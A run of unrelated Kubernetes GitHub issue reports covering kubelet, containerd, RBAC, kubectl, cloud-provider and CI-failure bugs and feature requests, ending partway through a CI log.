<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kill infra restart kubelet label:area/kubelet \r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : kubernetes v1.5.5-beta.0.70+f2c05afaf3cbb3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare-metal\r -   os    e.g. from /etc/os-release : none\r -   kernel    e.g.  uname -a  : rhel 3.10.0-514.6.1.el7\r -   install tools  : none\r -   others  : none\r \r \r   what happened  :\r - containers of pod keep restarting\r - logs of kubelet:\r    \r i0516 17:31:48.799245   14548 docker_manager.go:1951  syncing pod \ heapster-v1-5xjq3_kube-system bd08f527-3952-11e7-97ec-fefcfe2b5340 \ : &api.pod{.............}\r i0516 17:31:48.799422   14548 docker_manager.go:1970  need to restart pod infra container for \ heapster-v1-5xjq3_kube-system bd08f527-3952-11e7-97ec-fefcfe2b5340 \  because it is not found\r i0516 17:31:48.799448   14548 docker_manager.go:2015  container {.............} is dead, but restartpolicy says that we should restart it.\r i0516 17:31:48.799462   14548 docker_manager.go:2109  got container changes for pod \ heapster-v1-5xjq3_kube-system bd08f527-3952-11e7-97ec-fefcfe2b5340 \ : {.............} is dead, but restartpolicy says that we should restart it.  containerstokeep:map  }\r i0516 17:31:48.799487   14548 docker_manager.go:2118  killing infra container for \ heapster-v1-5xjq3_kube-system bd08f527-3952-11e7-97ec-fefcfe2b5340 \ , will start new one\r    \r \r   what you expected to happen  :\r - everything goes fine\r \r   how to reproduce it    as minimally and precisely as possible :\r - start kubelet and run some pods of daemonset\r - change the date to one days ago and then reboot\r \r after reboot, pods will restart peroidly\r \r   anything else we need to know  :\r \r

is this a bug report or feature request?  :\r  @kubernetes/sig-autoscaling\r \r   what happened  :\r documented commend does not work.\r \r   what you expected to happen  :\r change to documentation required\r \r   how to reproduce it  as minimally and precisely as possible   :\r on following page\r https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/\r the command \r  kubectl get hpa.autoscaling.v2alpha1 -o yaml > /tmp/hpa-v2.yaml \r should instead be\r  kubectl get hpa.v2alpha1.autoscaling -o yaml > /tmp/hpa-v2.yaml \r \r   anything else we need to know?  :\r tagging @directxman12 as discussed on slack\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

@davidopp  we had an interesting discussion with a potential client and they have raised an important question regarding services. let's assume that we have: - 50 back-ends - 5 front-ends with a very high throughput that simply forwards heavy requests to backends using persistent connection   in this scenario we will utilize only 5 backends, instead of 50. currently i can imagine that we have a custom logic in service proxy to solve this, but this gets even worse if we start using iptables instead of proxying connections.  this issue is mostly to ignite the discussion whether we want to do something around that or not.

/ /  /status approved-for-milestone\r @kubernetes/sig-cluster-lifecycle-test-failures \r \r this job has been failing since at least 2017-11-08.  it's on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.8-master-upgrade-cluster-parallel\r \r - none of the upgrade jobs are passing https://k8s-testgrid.appspot.com/sig-release-master-upgrade\r - last upgradetest green: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/1260\r - first upgradetest red: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/1261\r - latest failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/1358

following the discussion with @wlan0, we should use taints instead of node conditions to mark node unusable to wait for routes to be initialized by cloud provider.\r obviously route_controller has to update the taints once it initializes the routes.\r \r 

the value is set here https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/core/types.go l3003\r \r i'm not sure of the rationale behind a day max, but i don't see why there should be an upper bound.

each container's state section  in containerstatuses in pod entity  has the real status/state as a key instead of a value. example  some irrelevant attributes omitted to make it shorter   \ containerstatuses\ :             {             \ name\ : \ php-redis\ ,             \ state\ : {               \ running\ : {                 \ startedat\ : \ 2015-04-17t14:12:29z\                }             },             \ laststate\ : {},           }           it's very inconvenient on client side to parse the state section and guess/rely on the fact that the key itself holds the status and changes dynamically from case to case. why not have a statically named key such as code/status/anything else, and have the status as its value?

what happened  :\r \r it causes  docker ps  hangs and k8s node becomes notready.\r \r i have logged an issue here as well:\r https://github.com/containerd/containerd/issues/2750\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it sometimes happens. can not find the step to reproduce it.\r \r   anything else we need to know?  :\r \r from  docker-containerd 's dump, it shows that the goroutine hangs in reading oom eventfd.\r \r    \r goroutine 12  syscall, 4392 minutes :\r syscall.syscall 0x0, 0x49, 0xc420048818, 0x8, 0x410aff, 0xcafc08, 0xc95140 \r         /usr/local/go/src/syscall/asm_linux_amd64.s:18 +0x5\r syscall.read 0x49, 0xc420048818, 0x8, 0x8, 0xc420198b14, 0xc95140, 0xc420198b10 \r         /usr/local/go/src/syscall/zsyscall_linux_amd64.go:783 +0x55\r syscall.read 0x49, 0xc420048818, 0x8, 0x8, 0x821960, 0x82cea0, 0x49d8e201 \r         /usr/local/go/src/syscall/syscall_unix.go:161 +0x49\r github.com/docker/containerd/runtime.  oom .flush 0xc420389cb0 \r         /tmp/tmp.kiaryyvbpv/src/github.com/docker/containerd/runtime/container.go:702 +0x54\r github.com/docker/containerd/supervisor.  monitor .processevent 0xc420198b10, 0x49, 0x1 \r         /tmp/tmp.kiaryyvbpv/src/github.com/docker/containerd/supervisor/monitor_linux.go:114 +0x493\r github.com/docker/containerd/supervisor.  monitor .start 0xc420198b10 \r         /tmp/tmp.kiaryyvbpv/src/github.com/docker/containerd/supervisor/monitor_linux.go:144 +0xf4\r created by github.com/docker/containerd/supervisor.newmonitor\r         /tmp/tmp.kiaryyvbpv/src/github.com/docker/containerd/supervisor/monitor_linux.go:24 +0x175\r    \r \r   environment  :\r \r - os: ubuntu 16.04.3 lts\r - linux kernel: 4.4.0-104-generic\r - kubernetes: 1.9.2\r - docker: 17.03.2-ce\r - containerd: 0.2.3 commit 4ab9917febca54791c5f071a9d1f404867857fcc\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r after https://github.com/kubernetes/kubernetes/pull/71804 merges, the callers of the functions noted  here  https://github.com/kubernetes/kubernetes/pull/71804/files diff-c3acf7a7fec401d0a3cb4998088ee1e5r130  should be updated to use the mount pkg directly, and the functions under pkg/volume/util removed.\r \r <!-- do not edit below this line -->\r 

created a pod that has an invalid image  docker 1.8.2, layer failed , then started a graceful delete.  the pod is marked deleting, but the kubelet does not acknowlege the delete.  graceful should interrupt in progress pulls.   v1.2.0-alpha.1-1107-g4c8e6f4       apiversion: v1 kind: pod metadata:   annotations:   creationtimestamp: 2015-10-20t03:58:28z   deletiongraceperiodseconds: 30   deletiontimestamp: 2015-10-20t04:06:49z   generatename: php-1-   labels:     app: php     deployment: php-1     deploymentconfig: php   name: php-1-pa0p0   namespace: default   resourceversion: \ 1027\    selflink: /api/v1/namespaces/default/pods/php-1-pa0p0   uid: d1ecf081-76de-11e5-a1f7-080027c5bfa9 spec:   containers:   - image: library/php@sha256:e7cf6739dbc55ce85d4637e0e44fd92d4175e2500d7b67d3787e087a2870aa75     imagepullpolicy: ifnotpresent     name: php     resources: {}     securitycontext:       privileged: false       runasuser: 1000020000       selinuxoptions:         level: s0:c5,c0     terminationmessagepath: /dev/termination-log     volumemounts:     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount       name: default-token-0fkw4       readonly: true   dnspolicy: clusterfirst   host: openshiftdev.local   imagepullsecrets:   - name: default-dockercfg-w2j33   nodename: openshiftdev.local   restartpolicy: always   securitycontext: {}   serviceaccount: default   serviceaccountname: default   terminationgraceperiodseconds: 30   volumes:   - name: default-token-0fkw4     secret:       secretname: default-token-0fkw4 status:   conditions:   - lastprobetime: null     lasttransitiontime: 2015-10-20t03:59:12z     message: 'containers with unready status:  php '     reason: containersnotready     status: \ false\      type: ready   containerstatuses:   - image: library/php@sha256:e7cf6739dbc55ce85d4637e0e44fd92d4175e2500d7b67d3787e087a2870aa75     imageid: \ \      laststate: {}     name: php     ready: false     restartcount: 0     state:       waiting:         message: back-off pulling image \ library/php@sha256:e7cf6739dbc55ce85d4637e0e44fd92d4175e2500d7b67d3787e087a2870aa75\          reason: imagepullbackoff            11m       11m     1   {kubelet openshiftdev.local}    spec.containers{php}            pulling     pulling image \ library/php@sha256:e7cf6739dbc55ce85d4637e0e44fd92d4175e2500d7b67d3787e087a2870aa75\    10m       10m     1   {kubelet openshiftdev.local}    spec.containers{php}            failed      failed to pull image \ library/php@sha256:e7cf6739dbc55ce85d4637e0e44fd92d4175e2500d7b67d3787e087a2870aa75\ : filesystem layer verification failed for digest sha256:c0d7cd89f4657ca5548f009c98356455999c7abb39ce3413fffec3a2d8c04d8c   10m       10m     1   {kubelet openshiftdev.local}    spec.containers{php}            back-off    back-off pulling image \ library/php@sha256:e7cf6739dbc55ce85d4637e0e44fd92d4175e2500d7b67d3787e087a2870aa75\    10m       10m     1   {kubelet openshiftdev.local}    spec.containers{php}            failed      failed to pull image \ library/php@sha256:e7cf6739dbc55ce85d4637e0e44fd92d4175e2500d7b67d3787e087a2870aa75\ : get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection   6m        6m      1   {kubelet openshiftdev.local}    spec.containers{php}            failed      failed to pull image \ library/php@sha256:e7cf6739dbc55ce85d4637e0e44fd92d4175e2500d7b67d3787e087a2870aa75\ : get https://registry-1.docker.io/v2/library/php/manifests/sha256:e7cf6739dbc55ce85d4637e0e44fd92d4175e2500d7b67d3787e087a2870aa75: dial tcp 107.23.158.157:443: i/o timeout

same behaviour exists in 1.2.      console $ kubectl exec debian \ nslookup -debug kubernetes\  found pod default/debian server:         10.0.0.10 address:        10.0.0.10 53  ------------     questions:         kubernetes.default.svc.cluster.local, type = a, class = in     answers:     ->  kubernetes.default.svc.cluster.local         internet address = 10.0.0.1         ttl = 20     authority records:     additional records: ------------ non-authoritative answer: name:   kubernetes.default.svc.cluster.local address: 10.0.0.1

kubernetes version  :\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.876+545f749a0deb85\ , gitcommit:\ 545f749a0deb8535656ce93ac1f35a59887839bf\ , gittreestate:\ clean\ , builddate:\ 2016-11-25t19:40:26z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : on-premise\r -   os  : \ ubuntu\  \ 16.04.1 lts  xenial xerus \ \r -   kernel  : 4.4.0-47-generic\r -   install tools  : libvirt-coreos\r \r \r   what happened  :\r when i create a vm cluster following this instructions: http://kubernetes.io/docs/getting-started-guides/libvirt-coreos/ using git repository as installation, a transient cluster is created. this is removed each time i restart my laptop.  \r \r   what you expected to happen  :\r an option to create persistent vm cluster.  \r \r   how to reproduce it    as minimally and precisely as possible :\r following this instructions: http://kubernetes.io/docs/getting-started-guides/libvirt-coreos/\r \r   anything else do we need to know  :\r this could be achieved changing updating  cluster/libvirt-coreos/util.sh :\r    \r virsh create $domain_xml\r    \r by \r    \r virsh define $domain_xml\r virsh start $name    \r    \r and\r    \r virsh destroy $dom\r    \r by\r    \r virsh undefine $dom\r virsh destroy $dom\r    \r not sure if there is other way to achieve this or create a pr

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r ssl gcp loadbalancer\r ---\r feature\r   - i want to be able to specify a google ssl certificate and have the load balancer use it\r \r   kubernetes version    use  kubectl version  :\r latest\r \r   environment  :\r gcp

rbac registers a versionpreferenceorder of v1beta1, v1alpha1:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/rbac/install/install.go l41\r    go\r versionpreferenceorder:   string{v1beta1.schemegroupversion.version, v1alpha1.schemegroupversion.version},\r    \r \r this makes it into groupmetafactory register correctly, and gmf.prioritizedversionlist is in the correct order:\r    go\r   schema.groupversion{\r   schema.groupversion{group:\ rbac.authorization.k8s.io\ , version:\ v1beta1\ },\r   schema.groupversion{group:\ rbac.authorization.k8s.io\ , version:\ v1alpha1\ }\r }\r    \r \r but in discovery, the order is reversed:\r    json\r {\r \r     \ kind\ : \ apigroup\ ,\r     \ apiversion\ : \ v1\ ,\r     \ name\ : \ rbac.authorization.k8s.io\ ,\r     \ versions\ :  \r         {\r             \ groupversion\ : \ rbac.authorization.k8s.io/v1alpha1\ ,\r             \ version\ : \ v1alpha1\ \r         },\r         {\r             \ groupversion\ : \ rbac.authorization.k8s.io/v1beta1\ ,\r             \ version\ : \ v1beta1\ \r         }\r      ,\r     \ preferredversion\ : {\r         \ groupversion\ : \ rbac.authorization.k8s.io/v1alpha1\ ,\r         \ version\ : \ v1alpha1\ \r     },\r     \ serveraddressbyclientcidrs\ : null\r \r }\r    \r \r this works correctly in the release-1.6 branch, so something since then has regressed preferred version order

download images from gcr.io very slow. can we add cdn/mirrors for kubernetes  i am using kubeadm \r \r or can we release a full images tar.gz for offline download  install \r \r    \r gcr.io/google_containers/kube-apiserver-amd64            v1.7.3              a1cc3a3d8d0d        10 days ago         186mb\r gcr.io/google_containers/kube-controller-manager-amd64   v1.7.3              d014f402b272        10 days ago         138mb\r gcr.io/google_containers/kube-scheduler-amd64            v1.7.3              51967bf607d3        10 days ago         77.2mb\r gcr.io/google_containers/kube-proxy-amd64                v1.7.3              54d2a8698e3c        10 days ago         115mb\r gcr.io/google_containers/k8s-dns-sidecar-amd64           1.14.4              38bac66034a6        6 weeks ago         41.8mb\r gcr.io/google_containers/k8s-dns-kube-dns-amd64          1.14.4              a8e00546bcf3        6 weeks ago         49.4mb\r gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64     1.14.4              f7f45b9cb733        6 weeks ago         41.4mb\r gcr.io/google_containers/etcd-amd64                      3.0.17              243830dae7dd        5 months ago        169mb\r gcr.io/google_containers/pause-amd64                     3.0                 99e59f495ffa        15 months ago       747kb\r    \r \r it take lot's time to waiting the download progress finish, and the kubeadm stuck . no response. always waiting. but user do not know what happened

 \r   what happened  :\r    \r $ cat replicaset.yaml\r apiversion: extensions/v1beta1\r kind: replicaset\r metadata:\r   labels:\r     tier: frontend\r   name: myreplicaset\r spec:\r   replicas: 1\r   selector:\r     matchexpressions:\r     - key: tier\r       operator: in\r       values:\r       - frontend\r     matchlabels:\r       tier: frontend\r ...\r    \r  $ kubectl create -f replicaset.yaml \r    \r $ kubectl expose rs/myreplicaset\r error: couldn't retrieve selectors via --selector flag or introspection: couldn't convert expressions - \  {key:tier operator:in values: frontend } \  to map-based selector format\r see 'kubectl expose -h' for help and examples.\r    \r \r   what you expected to happen  :\r expected kubectl to handle the  matchexpressions  selector on a replicaset object\r \r   anything else we need to know?  :\r  per the docs  https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/ , i should be able to set a  matchexpressions  selector in replicasets.\r \r also, noticed that currently we error out if any  matchexpressions  exist on a replicaset or deployment object's spec: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/factory_client_access.go l275\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.4304+1f580ae8984b11-dirty\ , gitcommit:\ 1f580ae8984b1114930602d4438d27224bab31ca\ , gittreestate:\ dirty\ , builddate:\ 2017-08-25t14:17:52z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+695f48a16f\ , gitcommit:\ d2e5420\ , gittreestate:\ clean\ , builddate:\ 2017-08-01t05:14:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , \r \r cc @kubernetes/sig-cli-misc

 \r   what happened  :\r after a cluster is created using kube-up.sh, it is configured using  --bootstrap-kubeconfig , so it uses the initial certificates referenced in  /var/lib/kubelet/bootstrap-kubeconfig , which are  /etc/srv/kubernetes/pki/kubelet.crt  and  /etc/srv/kubernetes/pki/kubelet.key . these files containing the certificate and key are installed world readable on the node:\r \r    sh\r $ ls -l /etc/srv/kubernetes/pki\r total 12\r -rw-r--r-- 1 root root 1229 sep  8 00:33 ca-certificates.crt\r -rw-r--r-- 1 root root 1229 sep  8 00:33 kubelet.crt\r -rw-r--r-- 1 root root 1675 sep  8 00:33 kubelet.key\r    \r \r   what you expected to happen  :\r the key especially, should be installed with more restricted permissions, possibly even deleted after the initial bootstrap use.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    sh\r cluster/kube-up.sh\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    sh\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.425+7e5d2df2995ef4-dirty\ , gitcommit:\ 7e5d2df2995ef402a2e4ee39524c761904bf7689\ , gittreestate:\ dirty\ , builddate:\ 2017-09-08t00:24:44z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

>  \r we're using k8s on vmware and use the vsphere cloud provider to provision dynamic volumes.\r however, in our enterprise setup, we need to access the vsphere api over a http forward proxy.\r this forward proxy only allows access to vsphere/esx hosts and no other endpoints  i.e. no internet .\r \r we achieved this by  export ing the env var  http_proxy=http://user:password@our-forward-proxy  for all kube binaries that interact with the cloud provider   kubernetes-api ,  kubernetes-controller-manager ,  kubelet  .\r \r since we can only set the  http_proxy  on process/binary level, this means that   all   http interaction of the above-mentioned binaries go over this proxy - even cluster-internal traffic, namely traffic from the api to the kubelets, from the kubelets to the api and from the kubelet to the overlay networks of the pod  for healthchecks etc. . also, all http requests of these binaries that target the external world  are there any? i.e. for registries?  would go over the proxy and not find their target. \r \r we worked around this by putting all known endpoints that should not go over the proxy in  no_proxy . currently, the k8s node network and the pod overlay network are excluded from the proxy.\r \r with this extensive  no_proxy , the cluster _seems_  to work, however we're not feeling comfortable with this solution: we're not sure we did not forget to whitelist something or something will be added in the future that will break. also, if we discover some external endpoints that kube would like to talk to, we would have to add these to  no_proxy , too. so we would prefer it if we have a way to only specify the proxy where it is needed, i.e. only for the cloud provider.\r \r i think other people also struggle with this issues, i.e. https://github.com/kubernetes/kubernetes/issues/48792\r \r more precisely: could we have a proxy-setting for the cloud provider level, i.e. in  cloud-provider.ini ? is this something that can be implemented autonomously on the cloud provider level, i.e. the vsphere guys could add such a functionality themselves?

i deployed the example-app.  am i understanding this right... there are multiple pods, and we create a single prometheus \ frontend\  to collectively display metrics about all of those pods?\r \r then, my other question is, i don't see cpu or network metrics.\r \r what i'm basically wondering is how can i get basic pod-level metrics, like memory, cpu, network?  my app isn't exposing prometheus metrics. but i would like to monitor the pods it runs in.\r \r 

is this a bug report or feature request?  :\r \r  \r   what happened  : \r launching a cluster with cloudprovider  aws  enabled and  --advertise-address=0.0.0.0 , kube-apiserver would run for a minute or two and then exit with:\r \r    \r current master ips listed in storage are   \r o master ips were listed in storage, refusing to erase all endpoints for the kubernetes service\r    \r \r when i changed the  --advertise-address=  value to the public ip of the node kube-apiserver ran normally. the message  current master ips listed in storage are  ...   was then populated with master ip addresses.\r \r   what you expected to happen  : \r kube-apiserver would detect the public ip and use that as the master ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r provision a cluster with  --cloud-provider=aws  and  --cloud-config=  set on kubelet, kube-apiserver and kube-controller-manager. set  --advertise-address=0.0.0.0  on the kube-apiserver components.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :  linux ip-10-205-233-116.ec2.internal 4.4.0-1061-aws  70-ubuntu smp fri may 25 21:47:34 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: custom\r - others:\r

i developed a xilinx fpga device plugin for k8s, and it worked fine for the cases when a worker node has only one type of fgpa no matter the quantities of that type . but when a work node has multiple types of fpga, the plugin doesn't work correctly  please note, for fpga even with same type, if the shells flashed on them are different, they are considered as different types. to end user, they are different hardware resources, and the user programmed bitstream can only be loaded onto one type of fpga which the bitstream is built against . so in that case my plugin registered a dedicated type of resource for each fpga shell version discovered during device enumeration.\r \r then i found listandwatch   method was only called on one resource registered. after some debug, i found in kubelet/apis/deviceplugin/v1beta1/api.pb.go, all devicepluginserver is registered in the way\r func registerdevicepluginserver s  grpc.server, srv devicepluginserver  {\r \ts.registerservice &_deviceplugin_servicedesc, srv \r }\r global variable _deviceplugin_servicedesc.servicename  in my case it is  \ v1beta1.registration\   is used as the key to map the service of the server in grpc/grpc-go/blob/master/server.go\r func  s  server  register sd  servicedesc, ss interface{}  {\r \t...\r \tif _, ok := s.m sd.servicename ; ok {\r \t\tgrpclog.fatalf \ grpc: server.registerservice found duplicate service registration for %q\ , sd.servicename \r \t}\r \t...\r \ts.m sd.servicename  = srv\r }\r i saw the fatal log above.\r only the last server registered took effect.\r i wonder it also happens when there are both a gpu plugin and a fpga plugin run on the same node.\r \r anything i missed or so far the device plugin framework does only allow one type of resource registered?

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r we've seen scalability issues with the current aws-ebs volume provisioner impl, which is querying possible zones from cloud provider directly   76975 . the improvement proposed in  76976 did make api calls more efficient, but also raises people's concern about whether it will create regression or not, or is there any more reliable ways to improve.\r \r to summarize, there are 2 major concerns:\r \r 1. is zone info in node label trustworthy?\r my answer is   yes  , since currently the zone labels  beta version only  are maintained by node controller, the information is retrieved from cloud provider directly and is always updated during node reconciliation, it can be trusted. even if kubelet can be misconfigured by wrong zone information, node controller is going to override them.\r see: https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/cloud/node_controller.go l222\r once we have the ga version of zone labels pushed out, we should update node controller to maintain both zone labels. it's fair enough to assume that if user wants kubelet to report zone/region, the information should be correct.\r \r \r 2. are the master/minion labels trustworthy?\r my answer is   \ semantic wide they are equivalent to checking node labels from cloud provider\    - just as people are not required to set master/minion labels in v1.node, well-known labels in cloud provider is not guaranteed to be set as well. therefore besides mainstream cluster provisioners, which maintains these sets of labels in both kubernetes and cloud provider, the function's behavior will remain unchanged: the original impl skips nodes that are   explicitly labeled   with well-known master labels, same here.\r \r please suggest.\r \r    / \r /cc @liggitt @smarterclayton @mcrute @micahhausler @jsafrane @justinsb \r \r \r \r \r

the  azure setup guide  http://kubernetes.io/docs/getting-started-guides/coreos/azure/  seems to be not working properly in k8s v.1.2, see  this question on stackoverflow  http://stackoverflow.com/questions/36545597/cannot-access-apiserver-on-kubernetes-v1-2-0 .   cc @errordeveloper @squillace @chanezon @vishh @kubernetes/docs

kubernetes-discovery  is the api registration proxy described here: https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/federated-api-servers.md .  it is designed to run inside of a pod with an ingress pointed to it.  \r \r i have created  hack/local-up-discovery.sh  which demonstrates how to launch the pod with the required certs and api server wiring to act as a proxy for the the core api server.   kubernetes-discovery  should be seamless to clients, so all we  should  have to do is bootstrap the  kube-public  namespace with the correct pod and then point the kubeconfig file used to launch the e2e test with  kubernetes-discovery  ingress.\r \r we need to ensure that rbac can work properly throughout the cluster as all api servers start delegating to it for our extension api server use-cases.

is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.4.5\r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : fedora\r -   kernel    e.g.  uname -a  : 4.5.7\r -   install tools  :\r -   others  : storage backend is cinder\r \r \r   what happened  :\r we found many error logs in controller manger, said  delete of volume xxx failed , the pv is in failed status, and the pv is bound to a pvc that has been deleted. the volume is supposed to be detached when volume unmount is done by attach-detach controller. it seems attach-detach controller lost the event, it causes the pv cannot be deleted because the volume is still in-use  not detached .\r it happened often if controller manager leader is switched often\r \r   what you expected to happen  :\r we should have a consistent result, if pvc is not detached the pvc object should not deleted.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r   anything else we need to know  :\r \r

failure cluster  43fbddb2db10511ee1ae  https://go.k8s.io/triage 43fbddb2db10511ee1ae        error text:     error starting ./cluster/log-dump/log-dump.sh /workspace/_artifacts: fork/exec ./cluster/log-dump/log-dump.sh: no such file or directory           failure cluster statistics: 1 tests failed,    146 jobs failed,    631 builds failed. failure stats cover 1 day time range '20 jul 2017 22:29 utc' to '21 jul 2017 22:29 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | dumpclusterlogs | 146 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-cos-docker-validation-slow | 23 |  21 jul 2017 20:59 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-cos-docker-validation-slow/2269  | | ci-kubernetes-e2e-gke-new-master-cvm-kubectl-skew | 23 |  21 jul 2017 21:42 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-cvm-kubectl-skew/615  | | ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew | 22 |  21 jul 2017 21:14 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew/664  |   current status  https://go.k8s.io/triage 43fbddb2db10511ee1ae

failure cluster  f6b5f0f079257f868092  https://go.k8s.io/triage f6b5f0f079257f868092        error text:     error creating cluster: error during gcloud container clusters create --quiet --project=gke-up-c1-4-clat-up-clu-n --zone=us-central1-f --machine-type=n1-standard-2 --image-type=gci --num-nodes=3 --network=e2e-9570 --cluster-version=1.9.0-alpha.0.318+4b63c1fb9037c3 e2e-9570: exit status 1           failure cluster statistics: 1 tests failed,    9 jobs failed,    194 builds failed. failure stats cover 1 day time range '6 sep 2017 00:09 utc' to '7 sep 2017 00:09 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 9 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-canary | 27 |  6 sep 2017 20:21 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-canary/1947  | | ci-kubernetes-e2e-gci-gke-flaky | 26 |  6 sep 2017 20:21 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-flaky/9610  | | ci-kubernetes-e2e-gci-gke-slow | 25 |  6 sep 2017 20:20 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/9953  |   current status  https://go.k8s.io/triage f6b5f0f079257f868092

ci-gce-kubeadm-1.11 tests are currently failing and blocking the cut of 1.11.\r \r    \r i0712 11:45:33.486  trying to fetch kubeconfig from master... 59/60\r w0712 11:45:33.587  + for tries in '{1..60}'\r w0712 11:45:33.587  + echo trying to fetch kubeconfig from master... 59/60\r w0712 11:45:33.587  + gcloud compute ssh --project k8s-jkns-e2e-gce --zone us-central1-f prow@e2e-165-471dd-master --command 'echo startfile; sudo cat /etc/kubernetes/admin.conf'\r w0712 11:45:34.639  cat: /etc/kubernetes/admin.conf: no such file or directory\r w0712 11:45:34.736  + sleep 5\r w0712 11:45:39.738  + for tries in '{1..60}'\r w0712 11:45:39.738  + echo trying to fetch kubeconfig from master... 60/60\r w0712 11:45:39.738  + gcloud compute ssh --project k8s-jkns-e2e-gce --zone us-central1-f prow@e2e-165-471dd-master --command 'echo startfile; sudo cat /etc/kubernetes/admin.conf'\r i0712 11:45:39.839  trying to fetch kubeconfig from master... 60/60\r w0712 11:45:40.852  cat: /etc/kubernetes/admin.conf: no such file or directory\r w0712 11:45:40.957  + sleep 5\r w0712 11:45:45.959  + echo exhausted attempts to fetch kubeconfig.\r w0712 11:45:45.960  exhausted attempts to fetch kubeconfig.\r w0712 11:45:45.960  + exit 1\r w0712 11:45:45.960  make 1 :      do  error 1\r w0712 